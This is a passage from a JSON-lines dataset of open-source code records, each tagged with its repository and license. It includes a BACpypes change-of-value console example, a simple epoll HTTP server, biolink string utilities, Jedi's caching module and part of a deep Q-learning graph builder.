supports COV notification services.\nThe console accepts commands that change the properties of an object that\ntriggers the notifications.\n\"\"\"\n\nimport time\nfrom threading import Thread\n\nfrom bacpypes.debugging import bacpypes_debugging, ModuleLogger\nfrom bacpypes.consolelogging import ConfigArgumentParser\nfrom bacpypes.consolecmd import ConsoleCmd\n\nfrom bacpypes.core import run, deferred, enable_sleeping\nfrom bacpypes.task import RecurringTask\n\nfrom bacpypes.app import BIPSimpleApplication\nfrom bacpypes.object import AnalogValueObject, BinaryValueObject\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.service.cov import ChangeOfValueServices\n\n# some debugging\n_debug = 0\n_log = ModuleLogger(globals())\n\n# test globals\ntest_av = None\ntest_bv = None\ntest_application = None\n\n#\n# SubscribeCOVApplication\n#\n\n@bacpypes_debugging\nclass SubscribeCOVApplication(BIPSimpleApplication, ChangeOfValueServices):\n pass\n\n#\n# COVConsoleCmd\n#\n\n@bacpypes_debugging\nclass COVConsoleCmd(ConsoleCmd):\n\n def do_status(self, args):\n \"\"\"status\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_status %r\", args)\n global test_application\n\n # dump from the COV detections dict\n for obj_ref, cov_detection in test_application.cov_detections.items():\n print(\"{} {}\".format(obj_ref.objectIdentifier, obj_ref))\n\n for cov_subscription in cov_detection.cov_subscriptions:\n print(\" {} proc_id={} confirmed={} lifetime={}\".format(\n cov_subscription.client_addr,\n cov_subscription.proc_id,\n cov_subscription.confirmed,\n cov_subscription.lifetime,\n ))\n\n def do_trigger(self, args):\n \"\"\"trigger object_name\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_trigger %r\", args)\n global test_application\n\n if not args:\n print(\"object name required\")\n return\n\n obj = test_application.get_object_name(args[0])\n if not obj:\n print(\"no such object\")\n return\n\n # get the detection algorithm object\n cov_detection = test_application.cov_detections.get(obj, None)\n if (not cov_detection) or (len(cov_detection.cov_subscriptions) == 0):\n print(\"no subscriptions for that object\")\n return\n\n # tell it to send out notifications\n cov_detection.send_cov_notifications()\n\n def do_set(self, args):\n \"\"\"set object_name [ . ] property_name [ = ] value\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_set %r\", args)\n global test_application\n\n try:\n object_name = args.pop(0)\n if '.' in object_name:\n object_name, property_name = object_name.split('.')\n else:\n property_name = args.pop(0)\n if _debug: COVConsoleCmd._debug(\" - object_name: %r\", object_name)\n if _debug: COVConsoleCmd._debug(\" - property_name: %r\", property_name)\n\n obj = test_application.get_object_name(object_name)\n if _debug: COVConsoleCmd._debug(\" - obj: %r\", obj)\n if not obj:\n raise RuntimeError(\"object not found: %r\" % (object_name,))\n\n datatype = obj.get_datatype(property_name)\n if _debug: COVConsoleCmd._debug(\" - datatype: %r\", datatype)\n if not datatype:\n raise RuntimeError(\"not a property: %r\" % (property_name,))\n\n # toss the equals\n if args[0] == '=':\n args.pop(0)\n\n # evaluate the value\n value = eval(args.pop(0))\n if _debug: COVConsoleCmd._debug(\" - raw value: %r\", value)\n\n # see if it can be built\n obj_value = datatype(value)\n if _debug: COVConsoleCmd._debug(\" - obj_value: %r\", obj_value)\n\n # normalize\n value = obj_value.value\n if _debug: COVConsoleCmd._debug(\" - normalized value: %r\", value)\n\n # change the value\n setattr(obj, property_name, value)\n\n except IndexError:\n print(COVConsoleCmd.do_set.__doc__)\n except Exception as err:\n print(\"exception: %s\" % (err,))\n\n def do_write(self, args):\n \"\"\"write object_name [ . ] property [ = ] value\"\"\"\n args = args.split()\n if _debug: COVConsoleCmd._debug(\"do_set %r\", args)\n global test_application\n\n try:\n object_name = args.pop(0)\n if '.' in object_name:\n object_name, property_name = object_name.split('.')\n else:\n property_name = args.pop(0)\n if _debug: COVConsoleCmd._debug(\" - object_name: %r\", object_name)\n if _debug: COVConsoleCmd._debug(\" - property_name: %r\", property_name)\n\n obj = test_application.get_object_name(object_name)\n if _debug: COVConsoleCmd._debug(\" - obj: %r\", obj)\n if not obj:\n raise RuntimeError(\"object not found: %r\" % (object_name,))\n\n datatype = obj.get_datatype(property_name)\n if _debug: COVConsoleCmd._debug(\" - datatype: %r\", datatype)\n if not datatype:\n raise RuntimeError(\"not a property: %r\" % (property_name,))\n\n # toss the equals\n if args[0] == '=':\n args.pop(0)\n\n # evaluate the value\n value = eval(args.pop(0))\n if _debug: COVConsoleCmd._debug(\" - raw value: %r\", value)\n\n # see if it can be built\n obj_value = datatype(value)\n if _debug: COVConsoleCmd._debug(\" - obj_value: %r\", obj_value)\n\n # normalize\n value = obj_value.value\n if _debug: COVConsoleCmd._debug(\" - normalized value: %r\", value)\n\n # pass it along\n obj.WriteProperty(property_name, value)\n\n except IndexError:\n print(COVConsoleCmd.do_write.__doc__)\n except Exception as err:\n print(\"exception: %s\" % (err,))\n\n\n@bacpypes_debugging\nclass TestAnalogValueTask(RecurringTask):\n\n \"\"\"\n An instance of this class is created when '--avtask ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_av present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestAnalogValueTask._debug(\"__init__ %r\", interval)\n RecurringTask.__init__(self, interval * 1000)\n\n # make a list of test values\n self.test_values = list(float(i * 10) for i in range(10))\n\n def process_task(self):\n if _debug: TestAnalogValueTask._debug(\"process_task\")\n global test_av\n\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestAnalogValueTask._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_av.presentValue = next_value\n\n\n@bacpypes_debugging\nclass TestAnalogValueThread(Thread):\n\n \"\"\"\n An instance of this class is created when '--avthread ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_av present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestAnalogValueThread._debug(\"__init__ %r\", interval)\n Thread.__init__(self)\n\n # runs as a daemon\n self.daemon = True\n\n # save the interval\n self.interval = interval\n\n # make a list of test values\n self.test_values = list(100.0 + float(i * 10) for i in range(10))\n\n def run(self):\n if _debug: TestAnalogValueThread._debug(\"run\")\n global test_av\n\n while True:\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestAnalogValueThread._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_av.presentValue = next_value\n\n # sleep\n time.sleep(self.interval)\n\n\n@bacpypes_debugging\nclass TestBinaryValueTask(RecurringTask):\n\n \"\"\"\n An instance of this class is created when '--bvtask ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_bv present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestBinaryValueTask._debug(\"__init__ %r\", interval)\n RecurringTask.__init__(self, interval * 1000)\n\n # save the interval\n self.interval = interval\n\n # make a list of test values\n self.test_values = [True, False]\n\n def process_task(self):\n if _debug: TestBinaryValueTask._debug(\"process_task\")\n global test_bv\n\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestBinaryValueTask._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_bv.presentValue = next_value\n\n\n@bacpypes_debugging\nclass TestBinaryValueThread(RecurringTask, Thread):\n\n \"\"\"\n An instance of this class is created when '--bvthread ' is\n specified as a command line argument. Every seconds it\n changes the value of the test_bv present value.\n \"\"\"\n\n def __init__(self, interval):\n if _debug: TestBinaryValueThread._debug(\"__init__ %r\", interval)\n Thread.__init__(self)\n\n # runs as a daemon\n self.daemon = True\n\n # save the interval\n self.interval = interval\n\n # make a list of test values\n self.test_values = [True, False]\n\n def run(self):\n if _debug: TestBinaryValueThread._debug(\"run\")\n global test_bv\n\n while True:\n # pop the next value\n next_value = self.test_values.pop(0)\n self.test_values.append(next_value)\n if _debug: TestBinaryValueThread._debug(\" - next_value: %r\", next_value)\n\n # change the point\n test_bv.presentValue = next_value\n\n # sleep\n time.sleep(self.interval)\n\n\ndef main():\n global test_av, test_bv, test_application\n\n # make a parser\n parser = ConfigArgumentParser(description=__doc__)\n parser.add_argument(\"--console\",\n action=\"store_true\",\n default=False,\n help=\"create a console\",\n )\n\n # analog value task and thread\n parser.add_argument(\"--avtask\", type=float,\n help=\"analog value recurring task\",\n )\n parser.add_argument(\"--avthread\", type=float,\n help=\"analog value thread\",\n )\n\n # analog value task and thread\n parser.add_argument(\"--bvtask\", type=float,\n help=\"binary value recurring task\",\n )\n parser.add_argument(\"--bvthread\", type=float,\n help=\"binary value thread\",\n )\n\n # provide a different spin value\n parser.add_argument(\"--spin\", type=float,\n help=\"spin time\",\n default=1.0,\n )\n\n # parse the command line arguments\n args = parser.parse_args()\n\n if _debug: _log.debug(\"initialization\")\n if _debug: _log.debug(\" - args: %r\", args)\n\n # make a device object\n this_device = LocalDeviceObject(ini=args.ini)\n if _debug: _log.debug(\" - this_device: %r\", this_device)\n\n # make a sample application\n test_application = SubscribeCOVApplication(this_device, args.ini.address)\n\n # make an analog value object\n test_av = AnalogValueObject(\n objectIdentifier=('analogValue', 1),\n objectName='av',\n presentValue=0.0,\n statusFlags=[0, 0, 0, 0],\n covIncrement=1.0,\n )\n _log.debug(\" - test_av: %r\", test_av)\n\n # add it to the device\n test_application.add_object(test_av)\n _log.debug(\" - object list: %r\", this_device.objectList)\n\n # make a binary value object\n test_bv = BinaryValueObject(\n objectIdentifier=('binaryValue', 1),\n objectName='bv',\n presentValue='inactive',\n statusFlags=[0, 0, 0, 0],\n )\n _log.debug(\" - test_bv: %r\", test_bv)\n\n # add it to the device\n test_application.add_object(test_bv)\n\n # make a console\n if args.console:\n test_console = COVConsoleCmd()\n _log.debug(\" - test_console: %r\", test_console)\n\n # enable sleeping will help with threads\n enable_sleeping()\n\n # analog value task\n if args.avtask:\n test_av_task = TestAnalogValueTask(args.avtask)\n test_av_task.install_task()\n\n # analog value thread\n if args.avthread:\n test_av_thread = TestAnalogValueThread(args.avthread)\n deferred(test_av_thread.start)\n\n # binary value task\n if args.bvtask:\n test_bv_task = TestBinaryValueTask(args.bvtask)\n test_bv_task.install_task()\n\n # binary value thread\n if args.bvthread:\n test_bv_thread = TestBinaryValueThread(args.bvthread)\n deferred(test_bv_thread.start)\n\n _log.debug(\"running\")\n\n run(args.spin)\n\n _log.debug(\"fini\")\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "noelli/bacpypes", "license": "MIT"} {"text": "\n\"\"\"\nSelfium Helper Files\n~~~~~~~~~~~~~~~~~~~\nAll Helper Files used in Selfium project;\n:copyright: (c) 2021 - Caillou and ZeusHay;\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom .getUser import *\nfrom .getGuild import *\nfrom .params import *\nfrom .notify import *\nfrom .sendEmbed import *\nfrom .isStaff import *", "source": "Hacker-1202/Selfium", "license": "MIT"} {"text": "\"\"\"\nModule: 'ubinascii' on esp32 1.10.0\n\"\"\"\n# MCU: (sysname='esp32', nodename='esp32', release='1.10.0', version='v1.10 on 2019-01-25', machine='ESP32 module with ESP32')\n# Stubber: 1.2.0\ndef a2b_base64():\n pass\n\ndef b2a_base64():\n pass\n\ndef crc32():\n pass\n\ndef hexlify():\n pass\n\ndef unhexlify():\n pass\n\n", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"} {"text": "# coding=utf8\r\n\r\nimport socket\r\nimport select\r\nfrom datetime import datetime\r\nfrom datetime import timedelta\r\n\r\nEOL = b'\\n\\n'\r\nresponse = b'HTTP/1.0 200 OK\\nDate: Mon, 1 Jan 1996 01:01:01 GMT\\n'\r\nresponse += b'Content-Type: text/plain\\nContent-Length: 13\\n\\n'\r\nresponse += b'Hello, world!\\n'\r\n\r\n# \u521b\u5efa\u5957\u63a5\u5b57\u5bf9\u8c61\u5e76\u7ed1\u5b9a\u76d1\u542c\u7aef\u53e3\r\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nserversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\nserversocket.bind(('0.0.0.0', 8080))\r\nserversocket.listen(1)\r\nserversocket.setblocking(0)\r\n\r\n# \u521b\u5efaepoll\u5bf9\u8c61\uff0c\u5e76\u6ce8\u518csocket\u5bf9\u8c61\u7684 epoll\u53ef\u8bfb\u4e8b\u4ef6\r\nepoll = select.epoll()\r\nepoll.register(serversocket.fileno(), select.EPOLLIN)\r\n\r\ntry:\r\n connections = {}\r\n requests = {}\r\n responses = {}\r\n while True:\r\n # \u4e3b\u5faa\u73af\uff0cepoll\u7684\u7cfb\u7edf\u8c03\u7528\uff0c\u4e00\u65e6\u6709\u7f51\u7edcIO\u4e8b\u4ef6\u53d1\u751f\uff0cpoll\u8c03\u7528\u8fd4\u56de\u3002\u8fd9\u662f\u548cselect\u7cfb\u7edf\u8c03\u7528\u7684\u5173\u952e\u533a\u522b\r\n events = epoll.poll(1)\r\n # \u901a\u8fc7\u4e8b\u4ef6\u901a\u77e5\u83b7\u5f97\u76d1\u542c\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u8fdb\u800c\u5904\u7406\r\n for fileno, event in events:\r\n # \u6ce8\u518c\u76d1\u542c\u7684socket\u5bf9\u8c61\u53ef\u8bfb\uff0c\u83b7\u53d6\u8fde\u63a5\uff0c\u5e76\u6ce8\u518c\u8fde\u63a5\u7684\u53ef\u8bfb\u4e8b\u4ef6\r\n if fileno == serversocket.fileno():\r\n connection, address = serversocket.accept()\r\n connection.setblocking(0)\r\n epoll.register(connection.fileno(), select.EPOLLIN)\r\n connections[connection.fileno()] = connection\r\n requests[connection.fileno()] = b''\r\n responses[connection.fileno()] = response\r\n elif event & select.EPOLLIN:\r\n # \u8fde\u63a5\u5bf9\u8c61\u53ef\u8bfb\uff0c\u5904\u7406\u5ba2\u6237\u7aef\u53d1\u751f\u7684\u4fe1\u606f\uff0c\u5e76\u6ce8\u518c\u8fde\u63a5\u5bf9\u8c61\u53ef\u5199\r\n try:\r\n requests[fileno] += connections[fileno].recv(1024)\r\n if EOL in requests[fileno]:\r\n epoll.modify(fileno, event | select.EPOLLOUT)\r\n print(requests[fileno])\r\n except Exception as e:\r\n print(e)\r\n epoll.unregister(fileno)\r\n del connections[fileno]\r\n elif event & select.EPOLLOUT:\r\n # \u8fde\u63a5\u5bf9\u8c61\u53ef\u5199\u4e8b\u4ef6\u53d1\u751f\uff0c\u53d1\u9001\u6570\u636e\u5230\u5ba2\u6237\u7aef\r\n try:\r\n byteswritten = connections[fileno].send(responses[fileno])\r\n # responses[fileno] = responses[fileno][byteswritten:]\r\n # if len(responses[fileno]) == 0:\r\n # epoll.modify(fileno, 0)\r\n # connections[fileno].shutdown(socket.SHUT_RDWR)\r\n except Exception as e:\r\n print(e)\r\n # epoll.modify(fileno, 0)\r\n epoll.unregister(fileno)\r\n del connections[fileno]\r\n elif event & select.EPOLLHUP:\r\n epoll.unregister(fileno)\r\n connections[fileno].close()\r\n del connections[fileno]\r\nfinally:\r\n epoll.unregister(serversocket.fileno())\r\n epoll.close()\r\n serversocket.close()\r\n", "source": "zhtsh/test-examples", "license": "Apache-2.0"} {"text": "\"\"\"Utilities.\"\"\"\nfrom functools import wraps\nimport re\nfrom typing import Callable, List, Optional, TypeVar, Union\n\nfrom .data import (\n all_classes, all_slots,\n)\n\n\ndef pascal_to_snake(s: str, sep: str = \"_\") -> str:\n \"\"\"Convert Pascal case to snake case.\n\n Assumes that\n a) all words are either all-lowercase or all-uppercase\n b) all 1-letter words are lowercase\n c) there are no adjacent 1-letter words\n d) there are no adjacent uppercase words\n\n Examples:\n PhenotypicFeature -> phenotypic_feature\n RNAProduct -> RNA_product\n FeedACamel -> feed_a_camel\n \n Optionally specify `sep` (default \"_\").\n \"\"\"\n # add an underscore before each capital letter\n underscored = re.sub(\n r\"(? str:\n \"\"\"Convert snake case to Pascal case.\n\n This is the inverse of pascal_to_snake() when its assumptions\n are true.\n \n Optionally specify `sep` (default \"_\").\n \"\"\"\n return re.sub(\n fr\"(?:^|{sep})([a-zA-Z])\",\n lambda match: match.group(1).upper(),\n s\n )\n\n\ndef guess_casing(s: str) -> str:\n \"\"\"Guess snake case or Pascal case.\"\"\"\n if \"_\" in s:\n return \"snake\"\n if any(c.isupper() for c in s):\n return \"pascal\"\n return \"snake\"\n\n\ndef normalize(s: str) -> str:\n \"\"\"Normalize string input.\"\"\"\n if s.startswith(\"biolink:\"):\n s = s[8:]\n if \"_\" in s:\n # it's snake case\n return s.replace(\"_\", \" \")\n if \" \" in s:\n return s\n return pascal_to_snake(s, \" \")\n\n\nT = TypeVar(\"T\")\n\n\ndef listify(func: Callable) -> Callable:\n \"\"\"Expand function to take list of arguments.\"\"\"\n @wraps(func)\n def wrapper(arg: Union[T, List[T]], **kwargs) -> Union[T, List[T]]:\n \"\"\"Apply function to each element in list.\"\"\"\n if isinstance(arg, list):\n return [\n func(el, **kwargs)\n for el in arg\n ]\n else:\n return func(arg, **kwargs)\n return wrapper\n\n\n@listify\ndef format(s: str, case: Optional[str] = None, **kwargs) -> str:\n \"\"\"Format space-case string as biolink CURIE.\"\"\"\n if isinstance(case, str) and case.lower() == \"pascal\":\n return \"biolink:\" + snake_to_pascal(s, \" \")\n elif isinstance(case, str) and case.lower() == \"snake\":\n return \"biolink:\" + s.replace(\" \", \"_\")\n else:\n return \"biolink:\" + s\n\n\ndef with_formatting():\n \"\"\"Add format conversions to method.\"\"\"\n def decorator(func: Callable) -> Callable:\n \"\"\"Generate decorator.\"\"\"\n @wraps(func)\n def wrapper(self, s: str, *args, formatted=False, **kwargs):\n \"\"\"Wrap in format conversions.\"\"\"\n case = guess_casing(s)\n normalized = normalize(s)\n output: Union[str, List[str]] = func(self, normalized, *args, **kwargs)\n if formatted:\n if normalized in all_classes:\n output = format(output, case=\"pascal\")\n elif normalized in all_slots:\n output = format(output, case=\"snake\")\n else:\n output = format(output, case=case)\n return output\n return wrapper\n return decorator\n", "source": "patrickkwang/bmt-lite", "license": "MIT"} {"text": "\"\"\"\nThis caching is very important for speed and memory optimizations. There's\nnothing really spectacular, just some decorators. The following cache types are\navailable:\n\n- module caching (`load_parser` and `save_parser`), which uses pickle and is\n really important to assure low load times of modules like ``numpy``.\n- ``time_cache`` can be used to cache something for just a limited time span,\n which can be useful if there's user interaction and the user cannot react\n faster than a certain time.\n\nThis module is one of the reasons why |jedi| is not thread-safe. As you can see\nthere are global variables, which are holding the cache information. Some of\nthese variables are being cleaned after every API usage.\n\"\"\"\nimport time\nimport os\nimport sys\nimport json\nimport hashlib\nimport gc\nimport inspect\nimport shutil\nimport re\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nfrom jedi import settings\nfrom jedi import common\nfrom jedi import debug\n\n_time_caches = {}\n\n# for fast_parser, should not be deleted\nparser_cache = {}\n\n\nclass ParserCacheItem(object):\n def __init__(self, parser, change_time=None):\n self.parser = parser\n if change_time is None:\n change_time = time.time()\n self.change_time = change_time\n\n\ndef clear_time_caches(delete_all=False):\n \"\"\" Jedi caches many things, that should be completed after each completion\n finishes.\n\n :param delete_all: Deletes also the cache that is normally not deleted,\n like parser cache, which is important for faster parsing.\n \"\"\"\n global _time_caches\n\n if delete_all:\n for cache in _time_caches.values():\n cache.clear()\n parser_cache.clear()\n else:\n # normally just kill the expired entries, not all\n for tc in _time_caches.values():\n # check time_cache for expired entries\n for key, (t, value) in list(tc.items()):\n if t < time.time():\n # delete expired entries\n del tc[key]\n\n\ndef time_cache(time_add_setting):\n \"\"\"\n s\n This decorator works as follows: Call it with a setting and after that\n use the function with a callable that returns the key.\n But: This function is only called if the key is not available. After a\n certain amount of time (`time_add_setting`) the cache is invalid.\n \"\"\"\n def _temp(key_func):\n dct = {}\n _time_caches[time_add_setting] = dct\n\n def wrapper(*args, **kwargs):\n generator = key_func(*args, **kwargs)\n key = next(generator)\n try:\n expiry, value = dct[key]\n if expiry > time.time():\n return value\n except KeyError:\n pass\n\n value = next(generator)\n time_add = getattr(settings, time_add_setting)\n if key is not None:\n dct[key] = time.time() + time_add, value\n return value\n return wrapper\n return _temp\n\n\n@time_cache(\"call_signatures_validity\")\ndef cache_call_signatures(evaluator, call, source, user_pos):\n \"\"\"This function calculates the cache key.\"\"\"\n index = user_pos[0] - 1\n lines = common.splitlines(source)\n\n before_cursor = lines[index][:user_pos[1]]\n other_lines = lines[call.start_pos[0]:index]\n whole = '\\n'.join(other_lines + [before_cursor])\n before_bracket = re.match(r'.*\\(', whole, re.DOTALL)\n\n module_path = call.get_parent_until().path\n yield None if module_path is None else (module_path, before_bracket, call.start_pos)\n yield evaluator.eval_element(call)\n\n\ndef underscore_memoization(func):\n \"\"\"\n Decorator for methods::\n\n class A(object):\n def x(self):\n if self._x:\n self._x = 10\n return self._x\n\n Becomes::\n\n class A(object):\n @underscore_memoization\n def x(self):\n return 10\n\n A now has an attribute ``_x`` written by this decorator.\n \"\"\"\n name = '_' + func.__name__\n\n def wrapper(self):\n try:\n return getattr(self, name)\n except AttributeError:\n result = func(self)\n if inspect.isgenerator(result):\n result = list(result)\n setattr(self, name, result)\n return result\n\n return wrapper\n\n\ndef memoize_method(method):\n \"\"\"A normal memoize function.\"\"\"\n def wrapper(self, *args, **kwargs):\n dct = self.__dict__.setdefault('_memoize_method_dct', {})\n key = (args, frozenset(kwargs.items()))\n try:\n return dct[key]\n except KeyError:\n result = method(self, *args, **kwargs)\n dct[key] = result\n return result\n return wrapper\n\n\ndef memoize_function(obj):\n \"\"\" A normal memoize function for memoizing free functions. \"\"\"\n cache = obj.cache = {}\n\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\ndef cache_star_import(func):\n @time_cache(\"star_import_cache_validity\")\n def wrapper(self):\n yield self.base # The cache key\n yield func(self)\n return wrapper\n\n\ndef _invalidate_star_import_cache_module(module, only_main=False):\n \"\"\" Important if some new modules are being reparsed \"\"\"\n try:\n t, modules = _time_caches['star_import_cache_validity'][module]\n except KeyError:\n pass\n else:\n del _time_caches['star_import_cache_validity'][module]\n\n\ndef invalidate_star_import_cache(path):\n \"\"\"On success returns True.\"\"\"\n try:\n parser_cache_item = parser_cache[path]\n except KeyError:\n pass\n else:\n _invalidate_star_import_cache_module(parser_cache_item.parser.module)\n\n\ndef load_parser(path):\n \"\"\"\n Returns the module or None, if it fails.\n \"\"\"\n p_time = os.path.getmtime(path) if path else None\n try:\n parser_cache_item = parser_cache[path]\n if not path or p_time <= parser_cache_item.change_time:\n return parser_cache_item.parser\n else:\n # In case there is already a module cached and this module\n # has to be reparsed, we also need to invalidate the import\n # caches.\n _invalidate_star_import_cache_module(parser_cache_item.parser.module)\n except KeyError:\n if settings.use_filesystem_cache:\n return ParserPickling.load_parser(path, p_time)\n\n\ndef save_parser(path, parser, pickling=True):\n try:\n p_time = None if path is None else os.path.getmtime(path)\n except OSError:\n p_time = None\n pickling = False\n\n item = ParserCacheItem(parser, p_time)\n parser_cache[path] = item\n if settings.use_filesystem_cache and pickling:\n ParserPickling.save_parser(path, item)\n\n\nclass ParserPickling(object):\n\n version = 24\n \"\"\"\n Version number (integer) for file system cache.\n\n Increment this number when there are any incompatible changes in\n parser representation classes. For example, the following changes\n are regarded as incompatible.\n\n - Class name is changed.\n - Class is moved to another module.\n - Defined slot of the class is changed.\n \"\"\"\n\n def __init__(self):\n self.__index = None\n self.py_tag = 'cpython-%s%s' % sys.version_info[:2]\n \"\"\"\n Short name for distinguish Python implementations and versions.\n\n It's like `sys.implementation.cache_tag` but for Python < 3.3\n we generate something similar. See:\n http://docs.python.org/3/library/sys.html#sys.implementation\n\n .. todo:: Detect interpreter (e.g., PyPy).\n \"\"\"\n\n def load_parser(self, path, original_changed_time):\n try:\n pickle_changed_time = self._index[path]\n except KeyError:\n return None\n if original_changed_time is not None \\\n and pickle_changed_time < original_changed_time:\n # the pickle file is outdated\n return None\n\n with open(self._get_hashed_path(path), 'rb') as f:\n try:\n gc.disable()\n parser_cache_item = pickle.load(f)\n finally:\n gc.enable()\n\n debug.dbg('pickle loaded: %s', path)\n parser_cache[path] = parser_cache_item\n return parser_cache_item.parser\n\n def save_parser(self, path, parser_cache_item):\n self.__index = None\n try:\n files = self._index\n except KeyError:\n files = {}\n self._index = files\n\n with open(self._get_hashed_path(path), 'wb') as f:\n pickle.dump(parser_cache_item, f, pickle.HIGHEST_PROTOCOL)\n files[path] = parser_cache_item.change_time\n\n self._flush_index()\n\n @property\n def _index(self):\n if self.__index is None:\n try:\n with open(self._get_path('index.json')) as f:\n data = json.load(f)\n except (IOError, ValueError):\n self.__index = {}\n else:\n # 0 means version is not defined (= always delete cache):\n if data.get('version', 0) != self.version:\n self.clear_cache()\n self.__index = {}\n else:\n self.__index = data['index']\n return self.__index\n\n def _remove_old_modules(self):\n # TODO use\n change = False\n if change:\n self._flush_index(self)\n self._index # reload index\n\n def _flush_index(self):\n data = {'version': self.version, 'index': self._index}\n with open(self._get_path('index.json'), 'w') as f:\n json.dump(data, f)\n self.__index = None\n\n def clear_cache(self):\n shutil.rmtree(self._cache_directory())\n\n def _get_hashed_path(self, path):\n return self._get_path('%s.pkl' % hashlib.md5(path.encode(\"utf-8\")).hexdigest())\n\n def _get_path(self, file):\n dir = self._cache_directory()\n if not os.path.exists(dir):\n os.makedirs(dir)\n return os.path.join(dir, file)\n\n def _cache_directory(self):\n return os.path.join(settings.cache_directory, self.py_tag)\n\n\n# is a singleton\nParserPickling = ParserPickling()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "\"\"\"Deep Q learning graph\n\nThe functions in this file can are used to create the following functions:\n\n======= act ========\n\n Function to chose an action given an observation\n\n Parameters\n ----------\n observation: object\n Observation that can be feed into the output of make_obs_ph\n stochastic: bool\n if set to False all the actions are always deterministic (default False)\n update_eps_ph: float\n update epsilon a new value, if negative not update happens\n (default: no update)\n\n Returns\n -------\n Tensor of dtype tf.int64 and shape (BATCH_SIZE,) with an action to be performed for\n every element of the batch.\n\n\n======= train =======\n\n Function that takes a transition (s,a,r,s') and optimizes Bellman equation's error:\n\n td_error = Q(s,a) - (r + gamma * max_a' Q(s', a'))\n loss = huber_loss[td_error]\n\n Parameters\n ----------\n obs_t: object\n a batch of observations\n action: np.array\n actions that were selected upon seeing obs_t.\n dtype must be int32 and shape must be (batch_size,)\n reward: np.array\n immediate reward attained after executing those actions\n dtype must be float32 and shape must be (batch_size,)\n obs_tp1: object\n observations that followed obs_t\n done: np.array\n 1 if obs_t was the last observation in the episode and 0 otherwise\n obs_tp1 gets ignored, but must be of the valid shape.\n dtype must be float32 and shape must be (batch_size,)\n weight: np.array\n imporance weights for every element of the batch (gradient is multiplied\n by the importance weight) dtype must be float32 and shape must be (batch_size,)\n\n Returns\n -------\n td_error: np.array\n a list of differences between Q(s,a) and the target in Bellman's equation.\n dtype is float32 and shape is (batch_size,)\n\n======= update_target ========\n\n copy the parameters from optimized Q function to the target Q function.\n In Q learning we actually optimize the following error:\n\n Q(s,a) - (r + gamma * max_a' Q'(s', a'))\n\n Where Q' is lagging behind Q to stablize the learning. For example for Atari\n\n Q' is set to Q once every 10000 updates training steps.\n\n\"\"\"\nimport tensorflow as tf\nimport baselines.common.tf_util as U\nimport numpy as np\n\n\ndef build_act_mf(make_obs_ph, q_func, z_noise, num_actions, scope=\"deepq\", reuse=None):\n with tf.variable_scope(scope, reuse=reuse):\n observations_ph = U.ensure_tf_input(make_obs_ph(\"observation\"))\n q, q_deterministic, v_mean, v_logvar, z_mean, z_logvar, recon_obs = q_func(observations_ph.get(), z_noise,\n num_actions,\n scope=\"q_func\",\n reuse=tf.AUTO_REUSE)\n\n act = U.function(inputs=[observations_ph,z_noise],\n outputs=[z_mean, z_logvar])\n\n return act\n\n\ndef build_train_mf(make_obs_ph, q_func, num_actions, optimizer, grad_norm_clipping=None, gamma=1.0, scope=\"mfec\",\n alpha=1.0, beta=1.0, theta=1.0, latent_dim=32, ib=True, reuse=None):\n \"\"\"Creates the train function:\n\n Parameters\n ----------\n make_obs_ph: str -> tf.placeholder or TfInput\n a function that takes a name and creates a placeholder of input with that name\n q_func: (tf.Variable, int, str, bool) -> tf.Variable\n the model that takes the following inputs:\n observation_in: object\n the output of observation placeholder\n num_actions: int\n number of actions\n scope: str\n reuse: bool\n should be passed to outer variable scope\n and returns a tensor of shape (batch_size, num_actions) with values of every action.\n num_actions: int\n number of actions\n reuse: bool\n whether or not to reuse the graph variables\n optimizer: tf.train.Optimizer\n optimizer to use for the Q-learning objective.\n grad_norm_clipping: float or None\n clip gradient norms to this value. If None no clipping is performed.\n gamma: float\n discount rate.\n double_q: bool\n if true will use Double Q Learning (https://arxiv.org/abs/1509.06461).\n In general it is a good idea to keep it enabled.\n scope: str or VariableScope\n optional scope for variable_scope.\n reuse: bool or None\n whether or not the variables should be reused. To be able to reuse the scope must be given.\n\n Returns\n -------\n act: (tf.Variable, bool, float) -> tf.Variable\n function to select and action given observation.\n` See the top of the file for details.\n train: (object, np.array, np.array, object, np.array, np.array) -> np.array\n optimize the error in Bellman's equation.\n` See the top of the file for details.\n update_target: () -> ()\n copy the parameters from optimized Q function to the target Q function.\n` See the top of the file for details.\n debug: {str: function}\n a bunch of functions to print debug data like q_values.\n \"\"\"\n act_noise = tf.placeholder(tf.float32, [None, latent_dim], name=\"act_noise\")\n act_f = build_act_mf(make_obs_ph, q_func, act_noise, num_actions, scope=scope, reuse=reuse)\n\n with tf.variable_scope(scope, reuse=reuse):\n # set up placeholders\n\n # EMDQN\n\n obs_vae_input = U.ensure_tf_input(make_obs_ph(\"obs_vae\"))\n z_noise_vae = tf.placeholder(tf.float32, [None, latent_dim], name=\"z_noise_vae\")\n inputs = [obs_vae_input,z_noise_vae]\n if ib:\n qec_input = tf.placeholder(tf.float32, [None], name='qec')\n 